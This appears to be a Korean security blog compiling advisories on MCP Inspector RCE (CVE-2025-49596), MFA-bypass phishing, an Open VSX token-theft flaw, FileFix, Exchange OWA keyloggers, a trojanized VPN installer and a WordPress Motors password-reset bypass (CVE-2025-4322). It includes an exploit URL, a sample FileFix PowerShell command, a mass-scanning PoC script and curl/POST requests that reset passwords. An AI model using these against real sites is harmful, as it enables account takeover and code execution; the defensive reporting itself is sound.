1. MCP Inspector

MCP (Model Context Protocol) : LLM이 외부 데이터나 도구와 연결될 때 사용하는 표준화된 통신 방식 [1]

MCP Inspector : MCP 서버를 테스트하고 디버깅하기 위한 대화형 개발자 도구 [2]

구성요소 설명
MCP Inspector Client
(MCPI)
MCP 서버 테스트 및 디버깅을 위한 대화형 인터페이스를 제공하는 React 기반 웹 UI
MCP Proxy
(MCPP)
다양한 전송 방식을 통해 웹 UI를 MCP 서버에 연결하는 프로토콜 브리지 역할을 하는 Node.js 서버

2. CVE-2025-49596

[사진 1] CVE-2025-49596

- MCP Inspector의 MCPP에서 발생하는 인증 부족으로 인한 원격 코드 실행 취약점 (CVSS: 9.4) [3][4]

영향받는 버전
- MCP Inspector 버전 : 0.14.1 미만 버

 

- 해당 도구의 기본 설정에서 인증 및 암호화와 같은 보안 조치를 포함하지 않음
> 0.0.0.0 DayCSRF결합한 공격이 가능

0.0.0.0 Day [5]
- 0.0.0.0은 모든 네트워크 주소를 의미
- 서버나 애플리케이션이 모든 IP 주소(0.0.0.0)에 바인딩 되어, 외부에서 접근이 가능해짐
- 크롬, 파이어폭스, 애플 사파리 등 주요 브라우저의 보안 프로토콜을 우회하는데 활용될 수 있음

 

- 공격자는 stdio 전송을 사용하는 /sse 엔드포인트를 악용

> command 매개변수 (실행할 명령)와 args 매개변수 (명령 인수)를 사용 [6]

[악용 예시]
hxxp://0.0.0.0:6277/sse?transportType=stdio&command=touch&args=%2Ftmp%2F

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [7][8]

> MCPP에 세션 토큰 추가 및 Origin 헤더를 추출하고 허용 목록과 비교하여 접근 제어 수행 [9]

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-49596 MCP Inspector 0.14.1 미만 0.14.1

4. 참고

[1] https://ggonmerr.tistory.com/search/MCP
[2] https://wikidocs.net/268817
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-49596
[4] https://www.oligo.security/blog/critical-rce-vulnerability-in-anthropic-mcp-inspector-cve-2025-49596
[5] https://www.oligo.security/blog/0-0-0-0-day-exploiting-localhost-apis-from-the-browser?ref=insights.blackhatmea.com
[6] https://player.vimeo.com/video/1097551696?h=e4d996f6dd
[7] https://github.com/modelcontextprotocol/inspector/security/advisories/GHSA-7f8r-222p-6f5g
[8] https://asec.ahnlab.com/ko/88800/
[9] https://github.com/modelcontextprotocol/inspector/commit/50df0e1ec488f3983740b4d28d2a968f12eb8979#diff-c299744f73df4daa7a22854dda2023b68bfc8a5d59d8fb90b3a53b0c2842d807R98-R101
[10] https://www.jeonguknews.co.kr/news/articleView.html?idxno=75159

 

요약 - 노르웨이 댐을 해킹되어 4시간 동안 수문이 완전 개방되는 보안 사고가 발생
- 핵심 인프라에 대한 사이버 보안의 중요성을 잘 보여준 사고라는 평가
내용 - 25.04 노르웨이 라이세바트넷 댐이 해커의 공격을 받아 수문이 완전히 개방되는 심각한 보안 사고가 발생
> 핵심 인프라에 대한 사이버 보안의 중요성을 잘 보여준다는 평가

- 해커들은 무려 4시간 동안 시스템 장악
> 그러나, 댐 운영사와 당국은 이를 실시간으로 탐지하지 못하고, 4월 7일 이상 징후 포착
> 노르웨이 국가안보국과 수자원에너지청, 경찰청 산하 범죄수사국은 10일에야 공식 통보를 받고 조사에 착수


- 해커들은 허술한 비밀번호가 걸린 웹 기반 제어판에 접근해 최소 유량 밸브를 100% 개방하는 데 성공
> 이로 인해 초당 497리터의 물이 추가 방류됐으나, 댐의 최대 방류 용량이 초당 2만리터에 달해 재난으로 이어지지 않음
> 하지만 제때 대응이 이뤄지지 않았다면 홍수, 기반시설 손상, 인근 지역사회 위협 등 심각한 2차 피해를 야기할 수 있었음


- 정확한 해킹 방법은 아직 밝혀지지 않음
> 쉽게 유추할 수 있는 비밀번호 설정과 같은 기본적 보안 수칙 위반이 이유로 지목
> 사이버보안의 기본이 무너질 때 국가 기반시설이 얼마나 쉽게 위협받을 수 있는 지를 보여줌


- 노르웨이 정부 및 에너지 업계
> 이번 사건을 계기로 소프트웨어 업그레이드, 접근 통제 강화, 보안 감사 주기 단축 등 전면적인 보안 점검에 착수


- 댐 운영사 브레이비카 에이엔돔의 기술 책임자 비아르테 스테인호브덴
> 약한 인증 정보로 인해 공격자의 접근을 허용했을 가능성이 높음
> 기본적 보안수칙 준수의 중요성을 다시 한 번 실감


- 산업 제어 시스템 보안 전문가 그랜트 가이어
> 이번 사건은 고도화된 공격이 아니라, 단순히 보안이 허술한 시스템에 누군가가 로그인해 밸브를 연 사례
> 물, 전기, 난방 등 필수 인프라 시스템도 집 현관문을 잠그듯 기본 보안이 필요

기타 - 세계적으로 디지털 자동화와 원격 운영이 늘어남
> 물리적 안전만 강조하던 전통적 인프라 관리에서 벗어나 디지털 방어 체계를 동등한 국가 안보 요소로 인식해야 함
> 피해 예방을 위해 정기적 시스템 점검과 직원 교육, 위협 정보 공유가 필요하다는 지적

 

보안뉴스

 

노르웨이 댐 해킹 당해 수문 밸브 완전 개방…핵심 인프라 위협 현실화

지난 4월 노르웨이 서부 브레망에르(Bremanger) 인근 라이세바트넷(Risevatnet) 댐이 해커의 공격을 받아 수문이 완전히 개방되는 심각한 보안 사고가 발생했다. 이번 사건은 노르웨이 뿐만 아니라 전

www.boannews.com

 

요약 - 기업이 MFA, 패스워드리스 인증을 도입함에 따라 공격자는 이를 우회할 새로운 피싱 기법을 개발
- 사회공학 공격으로 클라우드 계정의 세션 토큰과 권한을 가로채는 데 맞춰져있음
내용 - MS 위협 인텔리전스 팀
> 기업이 MFA, 패스워드리스 인증을 도입함에 따라 공격자는 이를 우회할 새로운 피싱 기법을 개발하고 있음을 발표
> 클라우드 계정의 세션 토큰과 권한을 가로채는 것이 목표

① Adversary-in-the-Middle(AiTM) 피싱 급증
> 사용자의 브라우저와 로그인 페이지 사이에 프록시를 세워 자격 증명과 MFA 토큰을 동시에 탈취
> 처음에는 작동하지 않는 QR 코드를 보내 피해자에게 연락을 유도한 뒤, 후속 메일에서 정식 WhatsApp 기기 연결용 QR 코드를 제시해 계정 접속 권한 획득
> 세션 쿠키를 훔친 뒤에는 내부 네트워크에서 추가 계정을 노림

② 기기 코드(Device Code) 피싱, 새로운 위협으로 부상
> 피싱 이메일로 6자리 기기 코드를 입력하게 유도
> 사용자가 정상적인 마이크로소프트 인증 페이지에 코드를 입력하면, 공격자는 OAuth 토큰을 손쉽게 획득해 MFA를 무력

③ OAuth 동의(Consent) 피싱 확산
 > ‘파일 공유 앱’으로 위장한 미검증 애플리케이션 동의 링크를 보내, 사용자가 ‘취소’를 눌러도 다시 AiTM 페이지로 리다이렉션해 두 번째 공격 시도

디바이스 조인(Device Join) 피싱
> 클릭 한 번으로 공격자 소유 장치를 조직 테넌트에 등록하도록 속임
> 공격자는 합법적 인증서를 이용해 장기간 머무를 수 있음

- 공격 벡터는 이메일, 마이크로소프트 Teams 회의 초대, 전화 등 다양
> 침해 후 단계에서도 피싱은 계속됨

- 방어 전략
패스키 및 조건부 액세스
> 패스키·FIDO2 토큰 도입
> 로그인 위험 신호(이상 IP·디바이스 상태)를 평가하는 조건부 액세스로 세션 탈취 차단

동의·디바이스 등록 제한
> 미검증 앱의 고위험 OAuth 권한 요청과 비인가 디바이스 등록 차단 또는 추가 인증 요구

협업 채널 보호
> Teams 외부 메시지 차단, 내부 메일까지 적용되는 Safe Links, QR 코드 검사 정책 활성화

사용자 훈련
> 실전형 피싱 시뮬레이션과 교육으로 직원 경각심 증대
> AI로 다듬어진 문법 오류 없는 이메일도 경계

제로 트러스트 모델
> 장기적으로 유일한 해법

- 패스키를 적용하기 어려운 환경
> 관리자 계정에 하드웨어 FIDO2(파이도2) 토큰을 우선 배포하고, 불필요한 지역 접속과 외부 이메일 도메인 차단
> 작동 여부가 불분명한 QR코드, 6자리 코드를 입력하라는 요청, 예고 없는 외부 팀즈 채팅은 모두 경계 신호로 간주
기타 -

 

보안뉴스

 

패스키 시대에도 진화하는 피싱 공격…AiTM·기기 코드로 MFA 우회 - 데일리시큐

마이크로소프트(Microsoft) 위협 인텔리전스 팀은 최근 보고서를 통해 기업이 다중인증(MFA)과 패스워드리스 인증(패스키)을 도입함에 따라 공격자들이 이를 우회할 새로운 피싱 기법을 빠르게 개

www.dailysecu.com

 

Defending against evolving identity attack techniques | Microsoft Security Blog

Threat actors continue to develop and leverage various techniques that aim to compromise cloud identities. Despite advancements in protections like multifactor authentication (MFA) and passwordless solutions, social engineering remains a key aspect of phis

www.microsoft.com

 

1. IDE Extensions

[MITRE 설명]
Adversaries may abuse an integrated development environment (IDE) extension to establish persistent access to victim systems. IDEs such as Visual Studio Code, IntelliJ IDEA, and Eclipse support extensions - software components that add features like code linting, auto-completion, task automation, or integration with tools like Git and Docker. A malicious extension can be installed through an extension marketplace (i.e., Compromise Software Dependencies and Development Tools) or side-loaded directly into the IDE.

- MITRE가 25.04 ATT@CK v17에 신규로 추가한 기법 (Persistence > Software Extensions > IDE Extensions) [1]

- 악성 플러그인이 개발 환경에 영구적 접근 권한을 제공할 수 있다고 경고

> Visual Studio Code, IntelliJ IDEA, Eclipse와 같은 IDE는 확장 프로그램(코드 린팅, 작업 자동화, 타 도구와의 통합 등)을 지원

> 악성 확장 프로그램은 확장 프로그램 마켓플레이스를 통해 설치되거나 IDE에 직접 사이드로딩될 수 있음

> IDE가 실행될 때마다 악성 확장 프로그램이 실행되어 임의 코드 실행, 백도어 설정, 암화화폐 채굴, 데이터 유출 등에 사용

탐지 네트워크 트래픽 모니터링 - 통신이 발생해서는 안되는 서버 또는 네트워크에서 IDE로 향하는 네트워크 트래픽 모니터링
프로세스 생성 모니터링 - 서버 또는 비개발 엔드포인트에서의 IDE 실행을 모니터링
대응 심사 - 많은 악성 확장 프로그램이 정상을 위장하므로, 설치된 확장 프로그램 검토
실행 방지 - 보안 정책에 맞는 IDE 확장 허용 또는 거부 목록 설정
소프트웨어 설치 제한 - 검증이 가능한 신뢰할 수 있는 출처의 IDE 확장 프로그램만 설치
소프트웨어 업데이트 - OS와 IDE가 최신 버전을 사용하고 있는지 확인
사용자 교육 - IDE 확장 프로그램 사용 최소 및 신뢰할 수 있는 확장 프로그램만 설치하도록 교육

2. 주요내용

- 오픈소스 기반 VS 코드 확장 프로그램 마켓플레이스 "Open VSX Registry"에서 치명적 취약점 발견 [2][3]

> 공격자가 전체 확장 마켓플레이스를 완전히 제어할 수 있게 하며, 이를 통해 개발자 시스템 장악 가능

> 해당 취약점은 자동 게시용 깃허브 저장소 ‘publish-extensions’의 CI(지속적 통합) 워크플로에서 확인

 

- Open VSX에 확장을 게시하는 두 가지 방법

① 직접 Open VSX에 업로드

② extensions.json 파일에 확장을 추가하는 풀 리퀘스트를 생성하여 자동 게시 요청

 

- Open VSX의 자동 게시 방식 [4]

① 사용자는 open-vsx/publish-extensions의 extensions.json 파일에 풀 리퀘스트를 제출 [5]

② publish-extensions 저장소는 매일 밤 자동 실행되는 GitHub Actions 워크플로 존재

> extensions.json 파일에서 확장 프로그램 목록을 가져와 새 버전이 있는 경우 자동으로 확장 프로그램 업데이트

> 모든 확장 프로그램을 게시 또는 덮어쓰기할 수 있는 권한을 가진 @open-vsx 서비스 계정의 비밀 토큰(OVSX_PAT)을 포함한 권한 있는 자격 증명과 함께 실행

[사진 1] 자동 게시

- 해당 워크플로가 실행되어 확장 프로그램을 게시할 때 OVSX_PAT 토큰을 외부에 노출

> 공격자는 악성 확장을 extensions.json에 추가하여 OVSX_PAT 토큰 탈취 가능

구분 설명
악성 저장소 생성 - OVSX_PAT 토큰을 탈취하는 스크립트가 저장되어 있는 저장소 생성
자동 게시 요청 - open-vsx/publish-extensions (Open VSX의 중앙 저장소)의 extensions.json 파일에 풀 리퀘스트 전송
자동 게시 워크플로우 실행 - Open VSX는 extensions.json에 등록된 내용을 기준으로 워크플로우 실행
> 확장 프로그램의 새 버전이 존재하면 자동으로 업데이트
> @open-vsx 서비스 계정의 비밀 토큰(OVSX_PAT)을 포함한 권한 있는 자격 증명과 함께 실행
토큰 탈취 및 권한 획득 - 공격자의 스크립트가 실행되면서 OVSX_PAT 토큰 탈취
마켓플레이스 장악 - 탈취한 OVSX_PAT 토큰을 이용해 임의 덮어쓰기, 새 악성 버전 추가 등 악성 행위 수행

 

- 대응방안

구분 설명
위험 평가 - 모든 확장 및 마켓플레이스를 잠재적인 공격 표면으로 취급
> 출처, 유지보수 여부, 필요 권한, 역할 등을 평가
정책 적용 - 허용 목록을 정의
가시성 확보 - 모니터링 : 확장 기능과 업데이트에 대한 가시성 확보
- 유지관리 : 설치된 확장, 확장이 설치된 IDE, 사용자 등에 대한 가시성 확보

3. 참고

[1] https://attack.mitre.org/techniques/T1176/002/
[2] https://open-vsx.org/
[3] https://blog.koi.security/marketplace-takeover-how-we-couldve-taken-over-every-developer-using-a-vscode-fork-f0f8cf104d44
[4] https://github.com/EclipseFdn/open-vsx.org/wiki/Auto-Publishing-Extensions#request-an-extension-be-auto-published
[5] https://github.com/EclipseFdn/publish-extensions/blob/master/extensions.json
[6] https://www.dailysecu.com/news/articleView.html?idxno=167406

1. 개요

- 윈도우 파일 탐색기를 악용해 악성 명령을 실행하는 신종 취약점 공격 기법 FileFix 발견 [1]

- 기존의 ClickFix 사회공학 기법을 발전시킨 형태 [2]

2. 주요내용

- 사용자를 "파일 공유 알림" 피싱 페이지로 유도해 특정 경로를 파일 탐색기 주소창에 붙여 넣도록 유도

> 사용자가 특정 파일 경로를 복사하도록 유도하지만, 실제 복사되는 내용은 PowerShell 명령을 포함

> 사용자가 임의의 파일을 선택하는 행위를 방지하기 위해, 파일 선택 시 change 이벤트를 발생시켜 경고 메시지를 표시한 뒤 파일 탐색기 창 재실행 및 복사-붙여넣기 유도

[피싱 페이지 복사 안내 경로]
C:\company\internal-secure\filedrive\HRPolicy[.]docx

[실제 복사 내용]
Powershell.exe -c ping example[.]com # C:\\company\\internal-secure\\filedrive\\HRPolicy[.]docx

 

[사진 1] 피싱 페이지
[사진 2] 파일 탐색기 창을 악용한 명령 실행 결과

- 파일 탐색기의 주소 창을 통해 .exe 파일 등을 다운 및 실행하면 MOTW 속성이 제거

> MOTW는 인터넷에서 다운로드한 파일을 실행할 경우 사용자에게 보안 경고를 발생시킴

[사진 3] MOTW 비교

- 해당 공격은 정상적이고 믿을만한 시스템 기능조차 공격자에 의해 무기화될 수 있음을 보여줌

> 윈도우 탐색기를 악용하고 별도 권한 상승이나 복잡한 악성 코드 없이 단순한 사회공학과 사용자 신뢰만으로 공격이 가능
> 정보 유출, 랜섬웨어, 기타 멀웨어를 유포하는데 사용될 수 있으며 개인과 조직 모두에게 심각한 위협

> 출처가 불분명한 파일 경로나 명령어 복사·붙여넣기 지시 주의

3. 참고

[1] https://mrd0x.com/filefix-clickfix-alternative/
[2] https://ggonmerr.tistory.com/505
[3] https://www.boannews.com/media/view.asp?idx=137854&page=1&kind=1

요약 - 전 세계 26개국, 최소 70여 개의 온프레미스 Microsoft Exchange 서버가 정체불명의 공격자에 의해 침해
- 아웃룩 웹 액세스(OWA)의 로그인 페이지에 자바스크립트 기반 키로거를 삽입해 정보 탈취
내용 - 러시아 보안 기업 Positive Technologies
> 해당 공격 캠페인은 24.05 최초 발견 이후 지금까지도 지속 (최초 침해 시점은 21년)
> 베트남, 러시아, 대만, 중국, 파키스탄 등 국가 및 정부 기관, IT, 산업, 물류 분야 기업 등 침해

두 가지 방식의 키로거, 로그인 정보 수집이 목적
> OWA 로그인 페이지의 정상 스크립트 ‘clkLgn’ 핸들러 내부에 삽입된 두 가지 악성 자바스크립트 코드 발견
로컬 저장형 키로거
 ⒜ 사용자명, 비밀번호, 쿠키, User-Agent, 타임스탬프를 수집해 Exchange 서버 내부의 텍스트 파일에 저장
 ⒝ 외부 네트워크로의 트래픽이 없기 때문에 탐지 가능성이 매우 낮음
원격 전송형 키로거
 ⒜ 수집된 로그인 정보를 실시간으로 외부로 전송
 ⒝ Telegram Bot이나 HTTPS POST 요청, DNS 터널링 기법을 활용해 정보 수집
 ⒞ 로그인 정보는 APIKey 및 AuthToken 헤더에 인코딩되어 전송

② 패치가 완료된 구형 취약점들 여전히 공격에 사용
> ProxyLogon 시리즈 (CVE-2021-26855, 26857, 26858, 27065)
> ProxyShell 시리즈 (CVE-2021-34473, 34523, 31207)
> Exchange RCE 취약점 (CVE-2021-31206)
> SMBGhost (CVE-2020-0796)
> IIS 보안 우회 취약점 (CVE-2014-4078)
> 일부 취약점은 패치가 제공되었으나 여전히 수많은 서버가 해당 취약점에 노출되어 방치

> 조직 내 서버에 침투한 뒤, 인증 페이지에 악성 코드를 삽입함으로써 수개월 동안 탐지되지 않고 사용자 정보를 수집
> 공격을 탐지하기 위한 YARA 룰과 수정된 파일 경로 정보를 함께 공개

- 전문가들
즉시 패치 적용 : 익스체인지 서버를 최신 누적 업데이트 상태로 유지하고, IIS 및 윈도우 서버 보안 패치도 반드시 반영
무결성 점검 : OWA 관련 *.aspx 파일과 스크립트 파일 전체를 기준 파일과 비교해 <script> 삽입 여부 확인
네트워크 분리 및 MFA 적용 : Exchange 서버의 외부 노출을 최소화하고, VPN이나 리버스 프록시를 통해 접근을 제한하며, 모든 OWA 계정에 다중인증(MFA)을 적용
WAF 및 EDR 도입 : 웹 애플리케이션 방화벽(WAF)을 통해 스크립트 이상 행위를 감지하고, 엔드포인트 탐지 및 대응(EDR) 솔루션을 통해 서버 내 의심스러운 파일 생성 행위를 모니터링
기타 - 지속적인 취약점 관리 체계를 마련하는 것이 중요하다고 강조
> 인증 페이지에 발생한 사소한 변경 사항이라도 반드시 포렌식 조사를 통해 확인
> 가능하다면 인증 시스템을 마이크로소프트의 클라우드 기반 Exchange Online으로 이전
> 보안 게이트웨이 뒤에 위치시키는 등의 근본적인 접근 방식 변경이 필요
> 운영 중인 온프레미스 서버를 방치한 채 방어체계를 강화했다고 착각하는 일이 없어야 한다고 경고

 

보안뉴스

 

70여 개 마이크로소프트 익스체인지 서버, 로그인 페이지에 키로거 삽입돼 사용자 인증정보 탈취

전 세계 26개국에 분포한 최소 70여 개의 온프레미스 마이크로소프트 익스체인지(Microsoft Exchange) 서버가 정체불명의 공격자에 의해 침해당한 것으로 드러났다. 이들은 아웃룩 웹 액세스(OWA)의 로

www.dailysecu.com

 

Positive Technologies

A total of 65 victim organizations have been identified in 26 countries, and the (Ex)Cobalt group has been observed using a similar attack technique. A new study by Positive Technologies shows that since the beginning of 2025, nine Russian compani

global.ptsecurity.com

 

요약 - VPN 클라이언트 NetExtender 최신 버전을 사칭한 악성 설치 파일 유포 사실 24일 공개
- 정식 프로그램과 동일한 버전 번호를 내세워 사용자를 속이고, 정보를 탈취
내용 - NetExtender 최신 버전을 사칭한 악성 설치 파일
> 소닉월이 아닌 ‘CITYLIGHT MEDIA PRIVATE LIMITED’ 명의의 코드 서명을 사용해 기본 신뢰 검사 회피
> 설치 패키지 내부의 NeService.exe는 인증서 검증 로직이 제거돼 모든 파일을 무조건 신뢰하도록 패치
> NetExtender.exe에는 접속 버튼 클릭 시 입력된 사용자 이름, 비밀번호, 도메인, 서버 주소 등을 132.196.198[.]163:8080으로 데이터 탈취
> 검색엔진 최적화(SEO) 조작, 악성 광고(말버타이징), 소셜미디어 게시물 등을 통해 공식 사이트와 유사한 피싱 페이지로 사용자를 유도

- 소닉월 보안 솔루션과 마이크로소프트 디펜더는 해당 설치 파일을 탐지·차단
> 일부 보안 제품에서는 여전히 탐지되지 않을 가능성이 있다고 경고
> 소프트웨어는 반드시 sonicwall[.]com 또는 mysonicwall[.]com에서만 다운로드
> 홍보 링크나 추천 검색 결과는 무시
> 설치 전 코드 서명에 ‘SonicWall Inc.’가 정확히 표시되는지 확인
> 다운로드 파일을 최신 백신으로 검사할 것을 권고

- 전문가들
> 복잡한 제로데이 공격이 아니더라도 신뢰할 만한 서명을 악용해 사용자 행위를 노리는 전형적 수법
> 잘못된 링크를 클릭한다는 가정하에 사후 탐지와 네트워크 격리 체계를 강화
> 신뢰받는 설치 파일이라도 단 한 줄이 조작되면 전체 보안 체계가 무너질 수 있음
> 사용자의 다운로드 습관 개선과 조직 차원의 다계층 방어 전략이 유사한 공격을 차단하는 유일한 해법
기타 -

 

보안뉴스

 

소닉월 넷익스텐더 위장 악성 설치 파일 확산…VPN 계정 대량 탈취 우려 - 데일리시큐

사이버 보안 기업 소닉월(SonicWall)과 마이크로소프트(Microsoft) 위협 인텔리전스팀이 원격접속 VPN 클라이언트 넷익스텐더(NetExtender) 최신 버전을 사칭한 악성 설치 파일 유포 사실을 24일 공개했다.

www.dailysecu.com

 

https://www.sonicwall.com/blog/threat-actors-modify-and-re-create-commercial-software-to-steal-users-information

 

www.sonicwall.com

1. WordPress Motors 테마

- 자동차 관련 웹사이트에서 널리 사용되는 테마 [1]

2. 취약점

[사진 1] CVE-2025-4322 [2]

- Motors 테마가 비밀번호를 업데이트하기 전에 사용자의 신원을 적절히 검증하지 못해 발생하는 계정 탈취를 통한 권한 상승 취약점 (CVSS: 9.8)

영향받는 버전
- Motors 테마 5.6.67 이하 버전

 

- Login Register 위젯에는 password-recovery.php 테마의 탬플릿 파일과 아래 코드가 포함되어 있음 [3]

> 사용자 요청에서 user_idhash_check 파라미터의 값이 모두 있을 경우 password-recovery.php 템플릿 호출

<div class="stm-login-register-form">
    <?php if ( ! empty( $_GET['user_id'] ) && ! empty( $_GET['hash_check'] ) ) : // phpcs:ignore WordPress.Security.NonceVerification.Recommended ?>
        <?php get_template_part( 'partials/user/private/password', 'recovery' ); ?>
    <?php endif; ?>

 

- password-recovery.php 템플릿에는 비밀번호 업데이트를 처리하는 코드가 포함되어 있음

> 사용자로 부터 전달받은 hash_check 값($user_hash_check)과 서버 설정 값 $user_hash를 비교하여 일치하는 경우

> stm_new_password 값으로 비밀번호를 업데이트

<?php
$user_id_get = intval($_GET['user_id']);
$user_hash_check = esc_attr($_GET['hash_check']);
$message = '';
$error = false;
 
$user_exist = get_user_by('id', $user_id_get);
 
if(!$user_exist) {
    $error = true;
}
 
$user_hash = get_the_author_meta('stm_lost_password_hash',$user_id_get);
if($user_hash !== $user_hash_check) {
    $error = true;
}
 
if(!empty($_POST['stm_new_password']) and !$error) {
    $new_password = stm_motors_sanitize_text_field($_POST['stm_new_password']);
    wp_set_password($new_password, $user_id_get);

 

- 공격자는 조작된 hash_check 값을 전달함으로써 사용자 검증을 우회하고 비밀번호를 임의로 재설정할 수 있음

① 공격자는 조작된 hash_check 값 (잘못된 UTF-8문자 : %C0, %80 등) 전달

> Login Register 위젯에서의 검사를 통과하여 password-recovery.php 템플릿 접근

 

② 조작된 hash_check 값은 esc_attr()로 잘못 필터링 되어 제거됨

> 필터링 된 값은 $user_hash_check 저장

 

③ $user_hash_check 값과 $user_hash 값을 비교

> 두 값의 !== 연산 결과 false가 되어 if문 통과

 

④ stm_new_password 매개변수로 전달한 값으로 비밀번호 재설정

> 접근 권한을 얻은 후 관리자로 로그인 및 지속성을 위해 새로운 관리자 계정 생성

POST /index.php/login-register/?user_id=3&hash_check=%80 HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
 
stm_new_password=Testtest123%21%40%23

3. PoC

- 취약점 스캔 PoC [4]

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

from bs4 import BeautifulSoup
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor
import threading

lock = threading.Lock()

with open("list.txt") as f:
    domains = [line.strip().replace("http://", "").replace("https://", "") for line in f if line.strip()]

login_paths = [
    "/login",
    "/loginregister",
    "/login-register",
    "/my-account",
    "/account",
    "/signin",
    "/sign-in",
    "/register",
    "/auth",
    "/user/login",
    "/user/signin",
    "/forgot-password",
    "/reset-password"
]

def check_login_form(full_url):
    try:
        res = requests.get(full_url, timeout=10, verify=False)
        if res.status_code == 200 and "stm-login-form" in res.text:
            return True
    except:
        pass
    return False

def process_domain(domain):
    checked = set()
    base_url = f"https://{domain}"
    try:
        r = requests.get(base_url, timeout=10, verify=False)
        if r.status_code != 200:
            return
        soup = BeautifulSoup(r.text, "html.parser")

        if "stm-login-form" in r.text:
            print(f"[✅] {domain} → found at homepage")
            with lock:
                with open("result.txt", "a") as f:
                    f.write(domain + "\n")
            return

        hrefs = set()
        for a in soup.find_all("a", href=True):
            href = a["href"]
            if any(kw in href.lower() for kw in ["login", "register", "account", "signin", "forgot", "reset"]):
                full_href = urljoin(base_url, href)
                hrefs.add(full_href)

        for path in login_paths:
            hrefs.add(urljoin(base_url, path))

        for link in hrefs:
            normalized = urlparse(link)._replace(query="", fragment="").geturl()
            if normalized in checked:
                continue
            checked.add(normalized)
            if check_login_form(normalized):
                print(f"[✅] {domain} → found at {normalized}")
                with lock:
                    with open("result.txt", "a") as f:
                        f.write(domain + "\n")
                break
    except Exception as e:
        print(f"[⚠️] {domain} → error: {e}")

print(f"[🚀] ready to check {len(domains)} domain...")

with ThreadPoolExecutor(max_workers=20) as executor:
    executor.map(process_domain, domains)

print(f"[✔️] Done. all valid result at result.txt")

 

curl "https://local.ization/loginregister/?user_id=2&hash_check=%C0" --data "stm_new_password=randomizer" -XPOST -v -H 'User-Agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Mobile Safari/537.36'

4. 대응방안

- 벤더사 제공 업데이트 적용 [5][6]

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-4322 Motors 테마 5.6.67 이하 5.6.68

 

- 침해지표 또는 탐지룰 적용 [7]

 

- 웹 사이트 관리자 로그를 분석하여 비정상적인 요청 또는 계정 생성 여부 확인

- 사용자 및 관리자 비밀번호 재설정, 2단계 인증 활성화

5. 참고

[1] https://themeforest.net/item/motors-automotive-cars-vehicle-boat-dealership-classifieds-wordpress-theme/13987211
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-4322
[3] https://www.wordfence.com/blog/2025/05/22000-wordpress-sites-affected-by-privilege-escalation-vulnerability-in-motors-wordpress-theme
[4] https://github.com/Yucaerin/CVE-2025-4322
[5] https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/motors/motors-5667-unauthenticated-privilege-escalation-via-password-updateaccount-takeover
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71776&menuNo=205020
[7] https://www.wordfence.com/blog/2025/06/attackers-actively-exploiting-critical-vulnerability-in-motors-theme
[8] https://www.dailysecu.com/news/articleView.html?idxno=167203

+ Recent posts